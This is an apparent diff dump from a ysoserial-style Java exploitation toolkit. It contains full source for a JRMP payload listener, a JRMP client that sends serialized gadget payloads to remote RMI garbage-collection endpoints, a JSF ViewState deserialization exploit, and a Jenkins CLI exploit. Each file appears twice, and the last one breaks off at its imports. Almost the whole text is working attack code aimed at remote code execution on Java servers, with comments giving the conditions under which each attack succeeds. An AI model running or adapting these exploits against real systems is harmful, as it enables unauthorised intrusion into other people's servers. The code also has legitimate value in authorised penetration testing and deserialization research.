* Mostly CVE-2013-1537 (presumably, does not state details) with the difference that you don't need
* access to an RMI socket when you can deliver {@link JRMPClient}.
* <p>
* This only works if
* - the remote end is running with a security manager
* - java.rmi.server.useCodebaseOnly=false (default until 7u21)
* - the remote has the proper permissions to remotely load the class (mostly URLPermission)
* <p>
* and, of course, the payload class is then run under the security manager with a remote codebase
* so either the policy needs to allow whatever you want to do in the payload or you need to combine
* with a security manager bypass exploit (wouldn't be the first time).
*
* @author mbechler
*/
public class JRMPClassLoadingListener {
public static void main(final String[] args) {
if (args.length < 3) {
System.err.println(JRMPClassLoadingListener.class.getName() + " <port> <url> <className>");
System.exit(-1);
return;
}
try {
int port = Integer.parseInt(args[0]);
System.err.println("* Opening JRMP listener on " + port);
JRMPListener c = new JRMPListener(port, args[2], new URL(args[1]));
c.run();
} catch (Exception e) {
System.err.println("Listener error");
e.printStackTrace(System.err);
}
}
}
package com.qi4l.JYso.exploit;
import com.qi4l.JYso.gadgets.JRMPClient;
import java.net.URL;
/**
* JRMP listener triggering RMI remote classloading
* <p>
* Opens up an JRMP listener that will deliver a remote classpath class to the calling client.
* <p>
* Mostly CVE-2013-1537 (presumably, does not state details) with the difference that you don't need
* access to an RMI socket when you can deliver {@link JRMPClient}.
* <p>
* This only works if
* - the remote end is running with a security manager
* - java.rmi.server.useCodebaseOnly=false (default until 7u21)
* - the remote has the proper permissions to remotely load the class (mostly URLPermission)
* <p>
* and, of course, the payload class is then run under the security manager with a remote codebase
* so either the policy needs to allow whatever you want to do in the payload or you need to combine
* with a security manager bypass exploit (wouldn't be the first time).
*
* @author mbechler
*/
public class JRMPClassLoadingListener {
public static void main(final String[] args) {
if (args.length < 3) {
System.err.println(JRMPClassLoadingListener.class.getName() + " <port> <url> <className>");
System.exit(-1);
return;
}
try {
int port = Integer.parseInt(args[0]);
System.err.println("* Opening JRMP listener on " + port);
JRMPListener c = new JRMPListener(port, args[2], new URL(args[1]));
c.run();
} catch (Exception e) {
System.err.println("Listener error");
e.printStackTrace(System.err);
}
}
}
@@ -1,132 +1,132 @@
package com.qi4l.JYso.exploit;
import com.qi4l.JYso.gadgets.Config.ysoserial;
import sun.rmi.transport.TransportConstants;
import javax.net.SocketFactory;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.net.*;
/**
* Generic JRMP client
* <p>
* Pretty much the same thing as {@link RMIBindExploit} but
* - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener)
* - not deserializing anything (so you don't get yourself exploited ;))
*
* @author mbechler
*/
@SuppressWarnings({
"restriction"
})
public class JRMPClient {
public static void main(final String[] args) throws Exception {
if (args.length < 5) {
System.err.println(JRMPClient.class.getName() + " <host> <port> <args...>");
System.exit(-1);
}
String hostname = args[0];
int port = Integer.parseInt(args[1]);
// 去除前两个参数
String[] newArray = new String[args.length - 2];
System.arraycopy(args, 2, newArray, 0, newArray.length);
ysoserial.run(newArray);
Object payloadObject = ysoserial.PAYLOAD;
try {
System.err.printf("* Opening JRMP socket %s:%d%n", hostname, port);
makeDGCCall(hostname, port, payloadObject);
} catch (Exception e) {
e.printStackTrace(System.err);
}
}
public static void makeDGCCall(String hostname, int port, Object payloadObject) throws IOException {
Socket s = null;
DataOutputStream dos = null;
try {
s = SocketFactory.getDefault().createSocket(hostname, port);
s.setKeepAlive(true);
s.setTcpNoDelay(true);
OutputStream os = s.getOutputStream();
dos = new DataOutputStream(os);
dos.writeInt(TransportConstants.Magic);
dos.writeShort(TransportConstants.Version);
dos.writeByte(TransportConstants.SingleOpProtocol);
dos.write(TransportConstants.Call);
final ObjectOutputStream objOut = new MarshalOutputStream(dos);
objOut.writeLong(2); // DGC
objOut.writeInt(0);
objOut.writeLong(0);
objOut.writeShort(0);
objOut.writeInt(1); // dirty
objOut.writeLong(-669196253586618813L);
objOut.writeObject(payloadObject);
os.flush();
} finally {
if (dos != null) {
dos.close();
}
if (s != null) {
s.close();
}
}
}
static final class MarshalOutputStream extends ObjectOutputStream {
private URL sendUrl;
public MarshalOutputStream(OutputStream out, URL u) throws IOException {
super(out);
this.sendUrl = u;
}
MarshalOutputStream(OutputStream out) throws IOException {
super(out);
}
@Override
protected void annotateClass(Class<?> cl) throws IOException {
if (this.sendUrl != null) {
writeObject(this.sendUrl.toString());
} else if (!(cl.getClassLoader() instanceof URLClassLoader)) {
writeObject(null);
} else {
URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs();
StringBuilder cb = new StringBuilder();
for (URL u : us) {
cb.append(u.toString());
}
writeObject(cb.toString());
}
}
/**
* Serializes a location from which to load the specified class.
*/
@Override
protected void annotateProxyClass(Class<?> cl) throws IOException {
annotateClass(cl);
}
}
}
package com.qi4l.JYso.exploit;
import com.qi4l.JYso.gadgets.Config.ysoserial;
import sun.rmi.transport.TransportConstants;
import javax.net.SocketFactory;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.net.*;
/**
* Generic JRMP client
* <p>
* Pretty much the same thing as {@link RMIBindExploit} but
* - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener)
* - not deserializing anything (so you don't get yourself exploited ;))
*
* @author mbechler
*/
@SuppressWarnings({
"restriction"
})
public class JRMPClient {
public static void main(final String[] args) throws Exception {
if (args.length < 5) {
System.err.println(JRMPClient.class.getName() + " <host> <port> <args...>");
System.exit(-1);
}
String hostname = args[0];
int port = Integer.parseInt(args[1]);
// 去除前两个参数
String[] newArray = new String[args.length - 2];
System.arraycopy(args, 2, newArray, 0, newArray.length);
ysoserial.run(newArray);
Object payloadObject = ysoserial.PAYLOAD;
try {
System.err.printf("* Opening JRMP socket %s:%d%n", hostname, port);
makeDGCCall(hostname, port, payloadObject);
} catch (Exception e) {
e.printStackTrace(System.err);
}
}
public static void makeDGCCall(String hostname, int port, Object payloadObject) throws IOException {
Socket s = null;
DataOutputStream dos = null;
try {
s = SocketFactory.getDefault().createSocket(hostname, port);
s.setKeepAlive(true);
s.setTcpNoDelay(true);
OutputStream os = s.getOutputStream();
dos = new DataOutputStream(os);
dos.writeInt(TransportConstants.Magic);
dos.writeShort(TransportConstants.Version);
dos.writeByte(TransportConstants.SingleOpProtocol);
dos.write(TransportConstants.Call);
final ObjectOutputStream objOut = new MarshalOutputStream(dos);
objOut.writeLong(2); // DGC
objOut.writeInt(0);
objOut.writeLong(0);
objOut.writeShort(0);
objOut.writeInt(1); // dirty
objOut.writeLong(-669196253586618813L);
objOut.writeObject(payloadObject);
os.flush();
} finally {
if (dos != null) {
dos.close();
}
if (s != null) {
s.close();
}
}
}
static final class MarshalOutputStream extends ObjectOutputStream {
private URL sendUrl;
public MarshalOutputStream(OutputStream out, URL u) throws IOException {
super(out);
this.sendUrl = u;
}
MarshalOutputStream(OutputStream out) throws IOException {
super(out);
}
@Override
protected void annotateClass(Class<?> cl) throws IOException {
if (this.sendUrl != null) {
writeObject(this.sendUrl.toString());
} else if (!(cl.getClassLoader() instanceof URLClassLoader)) {
writeObject(null);
} else {
URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs();
StringBuilder cb = new StringBuilder();
for (URL u : us) {
cb.append(u.toString());
}
writeObject(cb.toString());
}
}
/**
* Serializes a location from which to load the specified class.
*/
@Override
protected void annotateProxyClass(Class<?> cl) throws IOException {
annotateClass(cl);
}
}
}
@@ -1,289 +1,289 @@
package com.qi4l.JYso.exploit;
import com.qi4l.JYso.gadgets.Config.ysoserial;
import com.qi4l.JYso.gadgets.utils.Reflections;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
import sun.rmi.transport.TransportConstants;
import javax.management.BadAttributeValueExpException;
import javax.net.ServerSocketFactory;
import java.io.*;
import java.net.*;
import java.rmi.MarshalException;
import java.rmi.server.ObjID;
import java.rmi.server.UID;
import java.util.Arrays;
/**
* Generic JRMP listener
* <p>
* Opens up an JRMP listener that will deliver the specified payload to any
* client connecting to it and making a call.
*
* @author mbechler
*/
@SuppressWarnings({
"restriction"
})
public class JRMPListener implements Runnable {
private static final Logger log = LogManager.getLogger(JRMPListener.class);
private final int port;
private final Object payloadObject;
private final ServerSocket ss;
private final Object waitLock = new Object();
private boolean exit;
private boolean hadConnection;
private URL classpathUrl;
public JRMPListener(int port, Object payloadObject) throws NumberFormatException, IOException {
this.port = port;
this.payloadObject = payloadObject;
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
}
public JRMPListener(int port, String className, URL classpathUrl) throws IOException {
this.port = port;
this.payloadObject = makeDummyObject(className);
this.classpathUrl = classpathUrl;
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
}
public static void main(final String[] args) throws Exception {
if (args.length < 5) {
System.err.println(JRMPListener.class.getName() + " <port> <args...> ");
System.exit(-1);
return;
}
// 去除第一个参数
String[] newArray = new String[args.length - 1];
System.arraycopy(args, 1, newArray, 0, newArray.length);
ysoserial.run(newArray);
final Object payloadObject = ysoserial.PAYLOAD;
try {
int port = Integer.parseInt(args[0]);
System.err.println("* Opening JRMP listener on " + port);
JRMPListener c = new JRMPListener(port, payloadObject);
c.run();
} catch (Exception e) {
System.err.println("Listener error");
e.printStackTrace(System.err);
}
}
@SuppressWarnings({"deprecation"})
protected static Object makeDummyObject(String className) {
try {
ClassLoader isolation = new ClassLoader() {
};
ClassPool cp = new ClassPool();
cp.insertClassPath(new ClassClassPath(Dummy.class));
CtClass clazz = cp.get(Dummy.class.getName());
clazz.setName(className);
return clazz.toClass(isolation).newInstance();
} catch (Exception e) {
log.error("e: ", e);
return new byte[0];
}
}
public void waitFor(int i) {
try {
if (this.hadConnection) {
return;
}
System.err.println("Waiting for connection");
synchronized (this.waitLock) {
this.waitLock.wait(i);
}
} catch (InterruptedException ignored) {
}
}
public void close() {
this.exit = true;
try {
this.ss.close();
} catch (IOException ignored) {
}
synchronized (this.waitLock) {
this.waitLock.notify();
}
}
public void run() {
try {
Socket s = null;
try {
while (!this.exit && (s = this.ss.accept()) != null) {
try {
s.setSoTimeout(5000);
InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();
System.err.println("Have connection from " + remote);
InputStream is = s.getInputStream();
InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);
// Read magic (or HTTP wrapper)
bufIn.mark(4);
DataInputStream in = new DataInputStream(bufIn);
int magic = in.readInt();
short version = in.readShort();
if (magic != TransportConstants.Magic || version != TransportConstants.Version) {
s.close();
continue;
}
OutputStream sockOut = s.getOutputStream();
BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
DataOutputStream out = new DataOutputStream(bufOut);
byte protocol = in.readByte();
switch (protocol) {
case TransportConstants.StreamProtocol:
out.writeByte(TransportConstants.ProtocolAck);
if (remote.getHostName() != null) {
out.writeUTF(remote.getHostName());
} else {
out.writeUTF(remote.getAddress().toString());
}
out.writeInt(remote.getPort());
out.flush();
in.readUTF();
in.readInt();
case TransportConstants.SingleOpProtocol:
doMessage(s, in, out, this.payloadObject);
break;
case TransportConstants.MultiplexProtocol:
System.err.println("Unsupported protocol");
s.close();
continue;
default:
}
bufOut.flush();
out.flush();
} catch (InterruptedException e) {
return;
} catch (Exception e) {
e.printStackTrace(System.err);
} finally {
System.err.println("Closing connection");
s.close();
}
}
} finally {
if (s != null) {
s.close();
}
if (this.ss != null) {
this.ss.close();
}
}
} catch (SocketException ignored) {
} catch (Exception e) {
e.printStackTrace(System.err);
}
}
private void doMessage(Socket s, DataInputStream in, DataOutputStream out, Object payload) throws Exception {
System.err.println("Reading message...");
int op = in.read();
switch (op) {
case TransportConstants.Call:
// service incoming RMI call
doCall(in, out, payload);
break;
case TransportConstants.Ping:
// send ack for ping
out.writeByte(TransportConstants.PingAck);
break;
case TransportConstants.DGCAck:
break;
default:
throw new IOException("unknown transport op " + op);
}
s.close();
}
private void doCall(DataInputStream in, DataOutputStream out, Object payload) throws Exception {
ObjectInputStream ois = new ObjectInputStream(in) {
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException {
if ("[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
return ObjID[].class;
} else if ("java.rmi.server.ObjID".equals(desc.getName())) {
return ObjID.class;
} else if ("java.rmi.server.UID".equals(desc.getName())) {
return UID.class;
}
throw new IOException("Not allowed to read object");
}
};
ObjID read;
try {
read = ObjID.read(ois);
} catch (java.io.IOException e) {
throw new MarshalException("unable to read objID", e);
}
if (read.hashCode() == 2) {
ois.readInt(); // method
ois.readLong(); // hash
System.err.println("Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject()));
}
System.err.println("Sending return with payload for obj " + read);
out.writeByte(TransportConstants.Return);// transport op
ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);
oos.writeByte(TransportConstants.ExceptionalReturn);
new UID().write(oos);
BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
Reflections.setFieldValue(ex, "val", payload);
oos.writeObject(ex);
oos.flush();
out.flush();
this.hadConnection = true;
synchronized (this.waitLock) {
this.waitLock.notifyAll();
}
}
public static class Dummy implements Serializable {
private static final long serialVersionUID = 1L;
}
}
package com.qi4l.JYso.exploit;
import com.qi4l.JYso.gadgets.Config.ysoserial;
import com.qi4l.JYso.gadgets.utils.Reflections;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
import sun.rmi.transport.TransportConstants;
import javax.management.BadAttributeValueExpException;
import javax.net.ServerSocketFactory;
import java.io.*;
import java.net.*;
import java.rmi.MarshalException;
import java.rmi.server.ObjID;
import java.rmi.server.UID;
import java.util.Arrays;
/**
* Generic JRMP listener
* <p>
* Opens up an JRMP listener that will deliver the specified payload to any
* client connecting to it and making a call.
*
* @author mbechler
*/
@SuppressWarnings({
"restriction"
})
public class JRMPListener implements Runnable {
private static final Logger log = LogManager.getLogger(JRMPListener.class);
private final int port;
private final Object payloadObject;
private final ServerSocket ss;
private final Object waitLock = new Object();
private boolean exit;
private boolean hadConnection;
private URL classpathUrl;
public JRMPListener(int port, Object payloadObject) throws NumberFormatException, IOException {
this.port = port;
this.payloadObject = payloadObject;
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
}
public JRMPListener(int port, String className, URL classpathUrl) throws IOException {
this.port = port;
this.payloadObject = makeDummyObject(className);
this.classpathUrl = classpathUrl;
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
}
public static void main(final String[] args) throws Exception {
if (args.length < 5) {
System.err.println(JRMPListener.class.getName() + " <port> <args...> ");
System.exit(-1);
return;
}
// 去除第一个参数
String[] newArray = new String[args.length - 1];
System.arraycopy(args, 1, newArray, 0, newArray.length);
ysoserial.run(newArray);
final Object payloadObject = ysoserial.PAYLOAD;
try {
int port = Integer.parseInt(args[0]);
System.err.println("* Opening JRMP listener on " + port);
JRMPListener c = new JRMPListener(port, payloadObject);
c.run();
} catch (Exception e) {
System.err.println("Listener error");
e.printStackTrace(System.err);
}
}
@SuppressWarnings({"deprecation"})
protected static Object makeDummyObject(String className) {
try {
ClassLoader isolation = new ClassLoader() {
};
ClassPool cp = new ClassPool();
cp.insertClassPath(new ClassClassPath(Dummy.class));
CtClass clazz = cp.get(Dummy.class.getName());
clazz.setName(className);
return clazz.toClass(isolation).newInstance();
} catch (Exception e) {
log.error("e: ", e);
return new byte[0];
}
}
public void waitFor(int i) {
try {
if (this.hadConnection) {
return;
}
System.err.println("Waiting for connection");
synchronized (this.waitLock) {
this.waitLock.wait(i);
}
} catch (InterruptedException ignored) {
}
}
public void close() {
this.exit = true;
try {
this.ss.close();
} catch (IOException ignored) {
}
synchronized (this.waitLock) {
this.waitLock.notify();
}
}
public void run() {
try {
Socket s = null;
try {
while (!this.exit && (s = this.ss.accept()) != null) {
try {
s.setSoTimeout(5000);
InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();
System.err.println("Have connection from " + remote);
InputStream is = s.getInputStream();
InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);
// Read magic (or HTTP wrapper)
bufIn.mark(4);
DataInputStream in = new DataInputStream(bufIn);
int magic = in.readInt();
short version = in.readShort();
if (magic != TransportConstants.Magic || version != TransportConstants.Version) {
s.close();
continue;
}
OutputStream sockOut = s.getOutputStream();
BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
DataOutputStream out = new DataOutputStream(bufOut);
byte protocol = in.readByte();
switch (protocol) {
case TransportConstants.StreamProtocol:
out.writeByte(TransportConstants.ProtocolAck);
if (remote.getHostName() != null) {
out.writeUTF(remote.getHostName());
} else {
out.writeUTF(remote.getAddress().toString());
}
out.writeInt(remote.getPort());
out.flush();
in.readUTF();
in.readInt();
case TransportConstants.SingleOpProtocol:
doMessage(s, in, out, this.payloadObject);
break;
case TransportConstants.MultiplexProtocol:
System.err.println("Unsupported protocol");
s.close();
continue;
default:
}
bufOut.flush();
out.flush();
} catch (InterruptedException e) {
return;
} catch (Exception e) {
e.printStackTrace(System.err);
} finally {
System.err.println("Closing connection");
s.close();
}
}
} finally {
if (s != null) {
s.close();
}
if (this.ss != null) {
this.ss.close();
}
}
} catch (SocketException ignored) {
} catch (Exception e) {
e.printStackTrace(System.err);
}
}
private void doMessage(Socket s, DataInputStream in, DataOutputStream out, Object payload) throws Exception {
System.err.println("Reading message...");
int op = in.read();
switch (op) {
case TransportConstants.Call:
// service incoming RMI call
doCall(in, out, payload);
break;
case TransportConstants.Ping:
// send ack for ping
out.writeByte(TransportConstants.PingAck);
break;
case TransportConstants.DGCAck:
break;
default:
throw new IOException("unknown transport op " + op);
}
s.close();
}
private void doCall(DataInputStream in, DataOutputStream out, Object payload) throws Exception {
ObjectInputStream ois = new ObjectInputStream(in) {
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException {
if ("[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
return ObjID[].class;
} else if ("java.rmi.server.ObjID".equals(desc.getName())) {
return ObjID.class;
} else if ("java.rmi.server.UID".equals(desc.getName())) {
return UID.class;
}
throw new IOException("Not allowed to read object");
}
};
ObjID read;
try {
read = ObjID.read(ois);
} catch (java.io.IOException e) {
throw new MarshalException("unable to read objID", e);
}
if (read.hashCode() == 2) {
ois.readInt(); // method
ois.readLong(); // hash
System.err.println("Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject()));
}
System.err.println("Sending return with payload for obj " + read);
out.writeByte(TransportConstants.Return);// transport op
ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);
oos.writeByte(TransportConstants.ExceptionalReturn);
new UID().write(oos);
BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
Reflections.setFieldValue(ex, "val", payload);
oos.writeObject(ex);
oos.flush();
out.flush();
this.hadConnection = true;
synchronized (this.waitLock) {
this.waitLock.notifyAll();
}
}
public static class Dummy implements Serializable {
private static final long serialVersionUID = 1L;
}
}
+79 -79
View File
@@ -1,79 +1,79 @@
package com.qi4l.JYso.exploit;
import com.qi4l.JYso.gadgets.Config.ysoserial;
import org.apache.commons.codec.binary.Base64;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLEncoder;
import java.nio.charset.StandardCharsets;
/**
* JSF view state exploit
* <p>
* Delivers a gadget payload via JSF ViewState token.
* <p>
* This will only work if ViewState encryption/mac is disabled.
* <p>
* While it has been long known that client side state saving
* with encryption disabled leads to RCE via EL injection,
* this of course also works with deserialization gadgets.
* <p>
* Also, it turns out that MyFaces is vulnerable to this even when
* using server-side state saving
* (yes, please, let's (de-)serialize a String as an Object).
*
* @author mbechler
*/
public class JSF {
public static void main(String[] args) {
if (args.length < 3) {
System.err.println(JSF.class.getName() + " <view_url> <args...>");
System.exit(-1);
}
try {
URL u = new URL(args[0]);
// 去除前两个参数
String[] newArray = new String[args.length - 1];
System.arraycopy(args, 1, newArray, 0, newArray.length);
ysoserial.run(newArray);
Object payloadObject = ysoserial.PAYLOAD;
URLConnection c = u.openConnection();
if (!(c instanceof HttpURLConnection)) {
throw new IllegalArgumentException("Not a HTTP url");
}
HttpURLConnection hc = (HttpURLConnection) c;
hc.setDoOutput(true);
hc.setRequestMethod("POST");
hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
OutputStream os = hc.getOutputStream();
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(payloadObject);
oos.close();
byte[] data = bos.toByteArray();
String requestBody = "javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII");
os.write(requestBody.getBytes(StandardCharsets.US_ASCII));
os.close();
System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage());
} catch (Exception e) {
e.printStackTrace(System.err);
}
}
}
package com.qi4l.JYso.exploit;
import com.qi4l.JYso.gadgets.Config.ysoserial;
import org.apache.commons.codec.binary.Base64;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLEncoder;
import java.nio.charset.StandardCharsets;
/**
* JSF view state exploit
* <p>
* Delivers a gadget payload via JSF ViewState token.
* <p>
* This will only work if ViewState encryption/mac is disabled.
* <p>
* While it has been long known that client side state saving
* with encryption disabled leads to RCE via EL injection,
* this of course also works with deserialization gadgets.
* <p>
* Also, it turns out that MyFaces is vulnerable to this even when
* using server-side state saving
* (yes, please, let's (de-)serialize a String as an Object).
*
* @author mbechler
*/
public class JSF {
public static void main(String[] args) {
if (args.length < 3) {
System.err.println(JSF.class.getName() + " <view_url> <args...>");
System.exit(-1);
}
try {
URL u = new URL(args[0]);
// 去除前两个参数
String[] newArray = new String[args.length - 1];
System.arraycopy(args, 1, newArray, 0, newArray.length);
ysoserial.run(newArray);
Object payloadObject = ysoserial.PAYLOAD;
URLConnection c = u.openConnection();
if (!(c instanceof HttpURLConnection)) {
throw new IllegalArgumentException("Not a HTTP url");
}
HttpURLConnection hc = (HttpURLConnection) c;
hc.setDoOutput(true);
hc.setRequestMethod("POST");
hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
OutputStream os = hc.getOutputStream();
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(payloadObject);
oos.close();
byte[] data = bos.toByteArray();
String requestBody = "javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII");
os.write(requestBody.getBytes(StandardCharsets.US_ASCII));
os.close();
System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage());
} catch (Exception e) {
e.printStackTrace(System.err);
}
}
}
@@ -1,119 +1,119 @@
package com.qi4l.JYso.exploit;
import com.qi4l.JYso.gadgets.Config.ysoserial;
import com.qi4l.JYso.gadgets.utils.Reflections;
import hudson.remoting.Callable;
import hudson.remoting.Channel;
import hudson.remoting.Channel.Mode;
import hudson.remoting.ChannelBuilder;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
import javax.net.SocketFactory;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.*;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
/**
* Jenkins CLI client
* <p>
* Jenkins unfortunately is still using a custom serialization based
* protocol for remote communications only protected by a blacklisting
* application level filter.
* <p>
* This is a generic client delivering a gadget chain payload via that protocol.
*
* @author mbechler
*/
public class JenkinsCLI {
private static final Logger log = LogManager.getLogger(JenkinsCLI.class);
public static void main(final String[] args) throws Exception {
if (args.length < 5) {
System.err.println(JenkinsCLI.class.getName() + " <jenkins_url> <args...>");
System.exit(-1);
}
String jenkinsUrl = args[0];
// 去除前一个参数
String[] newArray = new String[args.length - 1];
System.arraycopy(args, 1, newArray, 0, newArray.length);
ysoserial.run(newArray);
Object payloadObject = ysoserial.PAYLOAD;
Channel c = null;
try {
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
c = JenkinsCLI.openChannel(isa);
c.call(getPropertyCallable(payloadObject));
} catch (Throwable e) {
log.error(String.valueOf(e));
} finally {
if (c != null) {
try {
c.close();
} catch (IOException e) {
e.printStackTrace(System.err);
}
}
}
}
public static Callable<?, ?> getPropertyCallable(final Object prop)
throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
Reflections.setAccessible(reqCons);
Object getJarLoader = reqCons
.newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[]{
prop
});
return (Callable<?, ?>) getJarLoader;
}
public static InetSocketAddress getCliPort(String jenkinsUrl) throws IOException {
URL u = new URL(jenkinsUrl);
URLConnection conn = u.openConnection();
if (!(conn instanceof HttpURLConnection)) {
System.err.println("Not a HTTP URL");
throw new MalformedURLException();
}
HttpURLConnection hc = (HttpURLConnection) conn;
if (hc.getResponseCode() >= 400) {
System.err.println("* Error connection to jenkins HTTP " + u);
}
int clip = Integer.parseInt(hc.getHeaderField("X-Jenkins-CLI-Port"));
return new InetSocketAddress(u.getHost(), clip);
}
public static Channel openChannel(InetSocketAddress isa) throws IOException {
System.err.println("* Opening socket " + isa);
Socket s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
s.setKeepAlive(true);
s.setTcpNoDelay(true);
System.err.println("* Opening channel");
OutputStream outputStream = s.getOutputStream();
DataOutputStream dos = new DataOutputStream(outputStream);
dos.writeUTF("Protocol:CLI-connect");
ExecutorService cp = Executors.newCachedThreadPool(r -> {
Thread t = new Thread(r, "Channel");
t.setDaemon(true);
return t;
});
Channel c = new ChannelBuilder("EXPLOIT", cp).withMode(Mode.BINARY).build(s.getInputStream(), outputStream);
System.err.println("* Channel open");
return c;
}
}
package com.qi4l.JYso.exploit;
import com.qi4l.JYso.gadgets.Config.ysoserial;
import com.qi4l.JYso.gadgets.utils.Reflections;
import hudson.remoting.Callable;
import hudson.remoting.Channel;
import hudson.remoting.Channel.Mode;
import hudson.remoting.ChannelBuilder;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
import javax.net.SocketFactory;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.*;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
/**
* Jenkins CLI client
* <p>
* Jenkins unfortunately is still using a custom serialization based
* protocol for remote communications only protected by a blacklisting
* application level filter.
* <p>
* This is a generic client delivering a gadget chain payload via that protocol.
*
* @author mbechler
*/
public class JenkinsCLI {
private static final Logger log = LogManager.getLogger(JenkinsCLI.class);
public static void main(final String[] args) throws Exception {
if (args.length < 5) {
System.err.println(JenkinsCLI.class.getName() + " <jenkins_url> <args...>");
System.exit(-1);
}
String jenkinsUrl = args[0];
// 去除前一个参数
String[] newArray = new String[args.length - 1];
System.arraycopy(args, 1, newArray, 0, newArray.length);
ysoserial.run(newArray);
Object payloadObject = ysoserial.PAYLOAD;
Channel c = null;
try {
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
c = JenkinsCLI.openChannel(isa);
c.call(getPropertyCallable(payloadObject));
} catch (Throwable e) {
log.error(String.valueOf(e));
} finally {
if (c != null) {
try {
c.close();
} catch (IOException e) {
e.printStackTrace(System.err);
}
}
}
}
public static Callable<?, ?> getPropertyCallable(final Object prop)
throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
Reflections.setAccessible(reqCons);
Object getJarLoader = reqCons
.newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[]{
prop
});
return (Callable<?, ?>) getJarLoader;
}
public static InetSocketAddress getCliPort(String jenkinsUrl) throws IOException {
URL u = new URL(jenkinsUrl);
URLConnection conn = u.openConnection();
if (!(conn instanceof HttpURLConnection)) {
System.err.println("Not a HTTP URL");
throw new MalformedURLException();
}
HttpURLConnection hc = (HttpURLConnection) conn;
if (hc.getResponseCode() >= 400) {
System.err.println("* Error connection to jenkins HTTP " + u);
}
int clip = Integer.parseInt(hc.getHeaderField("X-Jenkins-CLI-Port"));
return new InetSocketAddress(u.getHost(), clip);
}
public static Channel openChannel(InetSocketAddress isa) throws IOException {
System.err.println("* Opening socket " + isa);
Socket s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
s.setKeepAlive(true);
s.setTcpNoDelay(true);
System.err.println("* Opening channel");
OutputStream outputStream = s.getOutputStream();
DataOutputStream dos = new DataOutputStream(outputStream);
dos.writeUTF("Protocol:CLI-connect");
ExecutorService cp = Executors.newCachedThreadPool(r -> {
Thread t = new Thread(r, "Channel");
t.setDaemon(true);
return t;
});
Channel c = new ChannelBuilder("EXPLOIT", cp).withMode(Mode.BINARY).build(s.getInputStream(), outputStream);
System.err.println("* Channel open");
return c;
}
}
@@ -1,202 +1,200 @@
package com.qi4l.JYso.exploit;
import com.qi4l.JYso.gadgets.Config.ysoserial;
import com.qi4l.JYso.gadgets.JRMPListener;
